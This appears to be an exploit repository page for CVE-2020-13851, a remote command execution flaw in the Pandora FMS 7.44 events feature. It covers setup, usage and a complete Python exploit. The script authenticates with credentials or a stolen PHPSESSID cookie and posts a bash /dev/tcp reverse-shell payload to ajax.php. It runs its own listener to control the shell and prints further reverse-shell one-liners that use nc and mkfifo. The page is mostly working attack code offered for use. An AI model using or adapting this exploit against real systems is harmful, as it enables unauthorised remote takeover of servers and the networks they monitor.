PRIMARY CATEGORY → EXPLOITS
CVE-2020-13851 💥 → Pandora FMS
Attack Vector 🗡️ → Remote Command Execution (RCE)
Affected Versions 🚨 → v7.44 NG
Severity 🚩 → e.g. High 8.8/10
Description
Artica Pandora FMS 7.44 allows remote command execution via the events feature
CVSS Score
TL;DR → CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Base Metrics | Values |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Setup
python3 -m venv ./venv
source ./venv/bin/activate
pip install -r ./requirements.txt
Usage
Help Display
python3 CVE-2020-13851.py --help
Script Execution
python3 CVE-2020-13851.py [-u|--user <PANDORA_USER>] [-p|--password PANDORA_PASSWORD] [-c|--cookie PANDORA_COOKIE] <PANDORA_URL> <ATTACKER_IP> <ATTACKER_PORT>
Zoom In
Code
Exploit
#!/usr/bin/env python3 import signal import os import sys import argparse import requests import threading from pwn import * from colorama import Fore, Style def sigIntHandler(sig: signal.Signals, frame: types.FrameType | None) -> None: print('\n') p = log.progress(Fore.CYAN + "Signal ⚡" + Style.RESET_ALL) p.status(Fore.MAGENTA + f"SIGINT signal sent to {sys.argv[0]}. {Fore.RED}Exiting... ⌛" + Style.RESET_ALL) time.sleep(1) signal.signal(signal.SIGINT, signal.SIG_DFL) os.killpg(os.getpid(), signal.SIGINT) def banner() -> str: return Fore.MAGENTA + ''' _______ ________ ___ ____ ___ ____ ________ ____ _________ / ____/ | / / ____/ |__ \ / __ \__ \ / __ \ < /__ /( __ )/ ____< / / / | | / / __/________/ // / / /_/ // / / /_____/ / /_ </ __ /___ \ / / / /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/ /___/ / /_/ /___/ // / \____/ |___/_____/ /____/\____/____/\____/ /_//____/\____/_____//_/ ''' + Style.RESET_ALL def revShellWarning(ip: str, port: int) -> str: return f'''{Fore.MAGENTA} [!] {Fore.RED}The Reverse Shell obtained is not associated with a stable TTY/PTY ❗ {Fore.MAGENTA}[+] {Fore.BLUE}Try to stablish another reverse connection as follows → {Fore.CYAN}[*] {Fore.MAGENTA}bash -c "bash -i &> /dev/tcp/{ip}/{int(port)} 0>&1 {Fore.CYAN}[*] {Fore.MAGENTA}rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {ip} {int(port)} >/tmp/f{Style.RESET_ALL} ''' class Exploit: def __init__(self, url: str, ip: str, port: int, user: str = None, passwd: str = None, cookie: str = None) -> None: self.url = url.rstrip('/') self.ip = ip self.port = port self.payload = f'bash -c "bash -i &> /dev/tcp/{self.ip}/{self.port} 0>&1"' self.session = requests.Session() if all((user, passwd)): self.user = user self.passwd = passwd elif cookie: self.session.cookies.update({ 'PHPSESSID' : cookie }) def _exceptionMsg(self, message: str) -> str: log.failure(Fore.RED + message + Style.RESET_ALL) def loginPandora(self) -> bool: print() p = log.progress(Fore.CYAN + "Pandora Login 💀" + Style.RESET_ALL) p.status(Fore.MAGENTA + "Logging into the Pandora FMS Panel ⌛..." + Style.RESET_ALL) time.sleep(1) login_url = self.url + '/index.php?login=1' post_data = { 'nick' : self.user, 'pass' : self.passwd, 'login_button' : 'Login' } try: r = self.session.post(login_url, data=post_data) if "Pandora FMS Overview" in r.text: p.success(Fore.GREEN + "Logged successfully in Pandora FMS ✔" + Style.RESET_ALL) return True else: p.failure(Fore.RED + "Could not log into the Pandora FMS Panel ❌" + Style.RESET_ALL) return False except requests.RequestException as e: self._exceptionMsg(f"Request Error: {e}") return False def setListener(self) -> None: print() p = log.progress(Fore.CYAN + "Socket ⚙" + Style.RESET_ALL) p.status(Fore.MAGENTA + f"Waiting for connections on {self.ip}:{self.port}" + Style.RESET_ALL) time.sleep(1) try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((self.ip, int(self.port))) s.listen(1) conn, addr = s.accept() p.status(Fore.GREEN + f"Connection received from {addr[0]}:{addr[1]}" + Style.RESET_ALL) print(revShellWarning(self.ip, self.port)) print(Fore.RED + f'[+] {Fore.YELLOW}Press [Enter] to get the Reverse Shell' + Style.RESET_ALL) print(Fore.RED + f'\n[+] {Fore.YELLOW}Press C-c or type "exit" to quit the Shell\n' + Style.RESET_ALL) print(conn.recv(4096).decode(), end='') while True: cmd = input() if cmd.lower() == "exit": p.failure(Fore.RED + "Exiting ⌛...") time.sleep(1) break else: conn.send((cmd + '\n').encode()) time.sleep(1) print(conn.recv(4096).decode(), end='') except socket.error as e: self._exceptionMsg(f"Socket Error: {e}") sys.exit(1) except Exception as e: self._exceptionMsg(f"Error: {e}") sys.exit(1) def getReverseShell(self) -> None: print() p = log.progress(Fore.CYAN + "Rev Shell 🐉" + Style.RESET_ALL) p.status(Fore.MAGENTA + "Sending the Rev Shell to the listening socket ⌛..." + Style.RESET_ALL) time.sleep(1) url = self.url + '/ajax.php' post_data = { 'page' : 'include/ajax/events', 'perform_event_response' : '10000000', 'target' : self.payload, 'response_id' : '1' } try: r = self.session.post(url, data=post_data) p.success(Fore.GREEN + "Reverse Shell received correctly ✔" + Style.RESET_ALL) except requests.RequestException as e: self._exceptionMsg(f"Request Error: {e}") return False def runExploit(self, cookie: str = None) -> None: lthread = threading.Thread(target=self.setListener) lthread.start() time.sleep(1) if not self.session.cookies: self.loginPandora() self.getReverseShell() else: self.getReverseShell() lthread.join() def main() -> None: print(banner()) signal.signal(signal.SIGINT, sigIntHandler) parser = argparse.ArgumentParser( description=Fore.MAGENTA + "CVE-XXXX-XXXX" + Style.RESET_ALL ) parser.add_argument('url', metavar='pandora_url', help='Pandora Console URL e.g. http://locahost/pandora_console') parser.add_argument('ip', metavar='attacker_ip', help='Attacker IP Address') parser.add_argument('port', metavar='attacker_port', type=int, help='Attacker Port') parser.add_argument('-u', '--user', metavar='pandora_user', help='Pandora Console User') parser.add_argument('-p', '--password', metavar='pandora_password', help='Pandora Console Password for the provided user') parser.add_argument('-c', '--cookie', metavar='pandora_cookie', help='Pandora Console\'s PHPSESSID Cookie') opts = parser.parse_args() if any(not opt for opt in (opts.url, opts.ip, opts.port)): parser.print_help() sys.exit(1) if opts.cookie and (opts.user or opts.password): print() log.failure(Fore.RED + "Error: Provide either a cookie OR user+password, not both\n" + Style.RESET_ALL) sys.exit(1) exploit = Exploit(opts.url, opts.ip, opts.port, opts.user, opts.password, opts.cookie) exploit.runExploit() if __name__ == '__main__': main()